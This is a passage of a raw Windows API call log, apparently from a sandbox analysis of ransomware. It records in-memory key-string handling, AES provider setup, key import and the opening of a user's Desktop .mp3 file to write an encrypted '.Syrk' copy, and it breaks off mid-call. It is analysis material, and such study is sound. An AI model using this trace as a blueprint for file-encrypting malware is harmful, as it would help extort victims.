(param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ʹℭ䠲鵊퇱े") returned 0x18 [0204.309] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0204.310] SysStringLen (param_1="NDZlODRmYzNlYTJhMD亅㸱멷嘇ꚺ") returned 0x18 [0204.310] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0204.310] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴뮼ᖽꜥॆ칖䝉") returned 0x18 [0204.310] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴뮼ᖽꜥॆ칖䝉") returned 0x18 [0204.310] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0204.310] SysStringLen (param_1="NDZlODRmYzNlYTJhMDF㸱멷嘇ꚺ") returned 0x18 [0204.310] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0204.310] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴퉢麻齟౬缍幠呌") returned 0x18 [0204.310] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴퉢麻齟౬缍幠呌") returned 0x18 [0204.310] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0204.310] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFl멷嘇ꚺ") returned 0x18 [0204.310] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0204.311] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ራ䃳ꂺⱿ쑪") returned 0x18 [0204.311] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ራ䃳ꂺⱿ쑪") returned 0x18 [0204.311] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0204.311] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlM嘇ꚺ") returned 0x18 [0204.311] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0204.311] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴䉌龢ʦ樞䍳ሐṪ") returned 0x18 [0204.311] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴䉌龢ʦ樞䍳ሐṪ") returned 0x18 [0204.311] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0204.311] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTꚺ") returned 0x18 [0204.311] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0204.311] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴⭝\⻚﻾沞쀩饒⋐) returned 0x18 [0204.311] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴⭝\⻚﻾沞쀩饒⋐) returned 0x18 [0204.311] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0204.312] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTU") returned 0x18 [0204.312] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0204.312] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ꗛ⾪蒷᪻릿ู찲鞃") returned 0x18 [0204.312] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ꗛ⾪蒷᪻릿ู찲鞃") returned 0x18 [0204.312] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0204.312] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUw") returned 0x18 [0204.312] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0204.312] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲") returned 0x18 [0204.312] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲") returned 0x18 [0204.312] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲") returned 0x18 [0204.312] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲") returned 0x20 [0204.313] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0204.313] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZㄵ㋛仄杫ℂ︸饉") returned 0x20 [0204.313] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0204.313] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲铩퀩峹闓郮\⋛) returned 0x20 [0204.313] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲铩퀩峹闓郮\⋛) returned 0x20 [0204.313] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0204.313] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZD㋛仄杫ℂ︸饉") returned 0x20 [0204.313] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0204.313] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲ᤓ⭤釋径ẖ") returned 0x20 [0204.313] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲ᤓ⭤釋径ẖ") returned 0x20 [0204.313] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0204.313] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE仄杫ℂ︸饉") returned 0x20 [0204.313] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0204.314] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲俫箙덵ꀓ솑ￛ罺኿") returned 0x20 [0204.314] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲俫箙덵ꀓ솑ￛ罺኿") returned 0x20 [0204.314] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0204.314] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3杫ℂ︸饉") returned 0x20 [0204.314] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0204.314] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲复⿉ﵺ彺㇍㞇㑜岔") returned 0x20 [0204.314] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲复⿉ﵺ彺㇍㞇㑜岔") returned 0x20 [0204.314] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0204.314] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3Yℂ︸饉") returned 0x20 [0204.314] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0204.314] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲⸸䟷ᖃח⡙\꽉⊏) returned 0x20 [0204.314] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲⸸䟷ᖃח⡙\꽉⊏) returned 0x20 [0204.314] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0204.315] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3Yz︸饉") returned 0x20 [0204.315] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0204.315] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲樝䎄㋬竵⭕쾫챶") returned 0x20 [0204.315] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲樝䎄㋬竵⭕쾫챶") returned 0x20 [0204.315] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0204.315] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3Yzd饉") returned 0x20 [0204.315] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0204.315] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲虜偤쎛犜ᔴ") returned 0x20 [0204.315] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲虜偤쎛犜ᔴ") returned 0x20 [0204.315] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0204.315] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3Yzdi") returned 0x20 [0204.315] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0204.316] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ≡) returned 0x20 [0204.316] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ≡) returned 0x20 [0204.316] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ≡) returned 0x20 [0204.316] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ≡) returned 0x28 [0204.316] SystemFunction041 (in: Memory=0x5c91b44, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c91b44) returned 0x0 [0204.316] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiM⤷挠ﵝ九갧") returned 0x28 [0204.316] SystemFunction040 (in: Memory=0x5c91b44, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c91b44) returned 0x0 [0204.316] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ♡ஊ픞딱ǭ譑∠) returned 0x28 [0204.316] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ♡ஊ픞딱ǭ譑∠) returned 0x28 [0204.316] SystemFunction041 (in: Memory=0x5c91b44, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c91b44) returned 0x0 [0204.316] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMm⤷挠ﵝ九갧") returned 0x28 [0204.317] SystemFunction040 (in: Memory=0x5c91b44, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c91b44) returned 0x0 [0204.317] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ⩡ඈ鐅䦌㫣噬㯥익∈) returned 0x28 [0204.317] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ⩡ඈ鐅䦌㫣噬㯥익∈) returned 0x28 [0204.317] SystemFunction041 (in: Memory=0x5c91b44, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c91b44) returned 0x0 [0204.317] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQ挠ﵝ九갧") returned 0x28 [0204.317] SystemFunction040 (in: Memory=0x5c91b44, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c91b44) returned 0x0 [0204.317] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖꛆ᪴洎榃䑝衬㟠⋁) returned 0x28 [0204.317] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖꛆ᪴洎榃䑝衬㟠⋁) returned 0x28 [0204.317] SystemFunction041 (in: Memory=0x5c91b44, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c91b44) returned 0x0 [0204.317] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzﵝ九갧") returned 0x28 [0204.317] SystemFunction040 (in: Memory=0x5c91b44, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c91b44) returned 0x0 [0204.317] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ끡Ẉఽ笏ᱚ븓蟳ﯘ∻) returned 0x28 [0204.317] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ끡Ẉఽ笏ᱚ븓蟳ﯘ∻) returned 0x28 [0204.317] SystemFunction041 (in: Memory=0x5c91b44, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c91b44) returned 0x0 [0204.318] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN九갧") returned 0x28 [0204.318] SystemFunction040 (in: Memory=0x5c91b44, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c91b44) returned 0x0 [0204.318] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ艡⸇햃ᔼ饰驌∖) returned 0x28 [0204.318] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ艡⸇햃ᔼ饰驌∖) returned 0x28 [0204.318] SystemFunction041 (in: Memory=0x5c91b44, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c91b44) returned 0x0 [0204.318] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2갧") returned 0x28 [0204.318] SystemFunction040 (in: Memory=0x5c91b44, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c91b44) returned 0x0 [0204.318] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ顡㼙몺䰅▍鄗軑⊨) returned 0x28 [0204.318] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ顡㼙몺䰅▍鄗軑⊨) returned 0x28 [0204.318] SystemFunction041 (in: Memory=0x5c91b44, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c91b44) returned 0x0 [0204.318] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2J갧") returned 0x28 [0204.318] SystemFunction040 (in: Memory=0x5c91b44, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c91b44) returned 0x0 [0204.319] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ띡랡ꚠ馋酅汪∘) returned 0x28 [0204.319] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ띡랡ꚠ馋酅汪∘) returned 0x28 [0204.319] SystemFunction041 (in: Memory=0x5c91b44, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c91b44) returned 0x0 [0204.319] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2Jh") returned 0x28 [0204.319] SystemFunction040 (in: Memory=0x5c91b44, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c91b44) returned 0x0 [0204.319] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製∍) returned 0x28 [0204.319] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製∍) returned 0x28 [0204.319] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製∍) returned 0x28 [0204.319] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製∍) returned 0x30 [0204.319] SystemFunction041 (in: Memory=0x3da864, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x3da864) returned 0x0 [0204.319] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN셳㻶벗颯軠삳") returned 0x30 [0204.319] SystemFunction040 (in: Memory=0x3da864, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x3da864) returned 0x0 [0204.320] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製昍仼먻표䥥芁鼶≙) returned 0x30 [0204.320] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製昍仼먻표䥥芁鼶≙) returned 0x30 [0204.320] SystemFunction041 (in: Memory=0x3da864, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x3da864) returned 0x0 [0204.320] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN2㻶벗颯軠삳") returned 0x30 [0204.320] SystemFunction040 (in: Memory=0x3da864, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x3da864) returned 0x0 [0204.320] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製儍\䥒쿲\쫛⊠) returned 0x30 [0204.320] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製儍\䥒쿲\쫛⊠) returned 0x30 [0204.320] SystemFunction041 (in: Memory=0x3da864, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x3da864) returned 0x0 [0204.320] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN2Q㻶벗颯軠삳") returned 0x30 [0204.320] SystemFunction040 (in: Memory=0x3da864, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x3da864) returned 0x0 [0204.320] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製꼍裴챞䫱鑚ꖸ⊽) returned 0x30 [0204.320] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製꼍裴챞䫱鑚ꖸ⊽) returned 0x30 [0204.320] SystemFunction041 (in: Memory=0x3da864, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x3da864) returned 0x0 [0204.321] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN2Q=벗颯軠삳") returned 0x30 [0204.321] SystemFunction040 (in: Memory=0x3da864, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x3da864) returned 0x0 [0204.321] EtwEventActivityIdControl () returned 0x0 [0204.321] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製⼍ႅ⳦㴴Ɉ꭮∇) returned 0x30 [0204.321] SystemFunction041 (in: Memory=0x3da864, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x3da864) returned 0x0 [0204.321] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN2Q=벗颯軠삳") returned 0x30 [0204.321] SystemFunction040 (in: Memory=0x3da864, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x3da864) returned 0x0 [0204.323] CryptAcquireContextW (in: phProv=0x5a2e6f0, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x5a2e6f0*=0x5c4cdd0) returned 1 [0204.540] CryptImportKey (in: hProv=0x5c4cdd0, pbData=0x242d180*, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x1, phKey=0x5a2eae4 | out: phKey=0x5a2eae4*=0x5c68e80) returned 1 [0204.540] CryptContextAddRef (hProv=0x5c4cdd0, pdwReserved=0x0, dwFlags=0x0) returned 1 [0204.543] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e850, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0204.544] EtwEventActivityIdControl () returned 0x0 [0204.544] EtwEventActivityIdControl () returned 0x0 [0204.544] EtwEventActivityIdControl () returned 0x0 [0204.553] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\KcV8WXd6gM.mp3" (normalized: "c:\\users\\keecfmwgj\\desktop\\kcv8wxd6gm.mp3")) returned 0x20 [0204.554] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\KcV8WXd6gM.mp3" (normalized: "c:\\users\\keecfmwgj\\desktop\\kcv8wxd6gm.mp3")) returned 0x20 [0204.554] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\KcV8WXd6gM.mp3", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x2a [0204.555] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\KcV8WXd6gM.mp3", nBufferLength=0x2a, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Desktop\\KcV8WXd6gM.mp3", lpFilePart=0x0) returned 0x29 [0204.556] EtwEventActivityIdControl () returned 0x0 [0204.557] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e35c, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0204.557] EtwEventActivityIdControl () returned 0x0 [0204.557] EtwEventActivityIdControl () returned 0x0 [0204.557] EtwEventActivityIdControl () returned 0x0 [0204.561] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\KcV8WXd6gM.mp3", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x2a [0204.562] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\KcV8WXd6gM.mp3", nBufferLength=0x2a, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Desktop\\KcV8WXd6gM.mp3", lpFilePart=0x0) returned 0x29 [0204.562] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2dfa0) returned 1 [0204.562] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\KcV8WXd6gM.mp3" (normalized: "c:\\users\\keecfmwgj\\desktop\\kcv8wxd6gm.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x45c [0204.562] GetFileType (hFile=0x45c) returned 0x1 [0204.562] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2df9c) returned 1 [0204.562] GetFileType (hFile=0x45c) returned 0x1 [0204.562] EtwEventActivityIdControl () returned 0x0 [0204.563] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e35c, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0204.563] EtwEventActivityIdControl () returned 0x0 [0204.563] EtwEventActivityIdControl () returned 0x0 [0204.563] EtwEventActivityIdControl () returned 0x0 [0204.564] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\KcV8WXd6gM.mp3.Syrk", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x2f [0204.564] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\KcV8WXd6gM.mp3.Syrk", nBufferLength=0x2f, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Desktop\\KcV8WXd6gM.mp3.Syrk", lpFilePart=0x0) returned 0x2e [0204.564] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2dfa0) returned 1 [0204.565] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\KcV8WXd6gM.mp3.Syrk" (normalized: "c:\\users\\keecfmwgj\\desktop\\kcv8wxd6gm.mp3.syrk"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x344 [0204.567] GetFileType (hFile=0x344) returned 0x1 [0204.567] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2df9c) returned 1 [0204.567] GetFileType (hFile=0x344) returned 0x1 [0204.568] EtwEventActivityIdControl () returned 0x0 [0204.568] CryptGenRandom (in: hProv=0x5c4cdd0, 